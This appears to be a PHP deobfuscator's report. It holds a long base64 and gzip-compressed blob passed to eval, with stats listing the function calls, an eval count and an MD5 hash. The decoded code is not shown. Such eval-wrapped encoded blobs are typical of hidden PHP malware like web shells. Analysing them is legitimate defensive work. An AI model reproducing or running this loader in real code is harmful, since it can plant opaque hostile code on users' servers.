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')));

Function Calls

gzuncompress 1
base64_decode 1

Variables

None

Stats

MD5 01753eac4908dcc2b2155b57511fb130
Eval Count 1
Decode Time 125 ms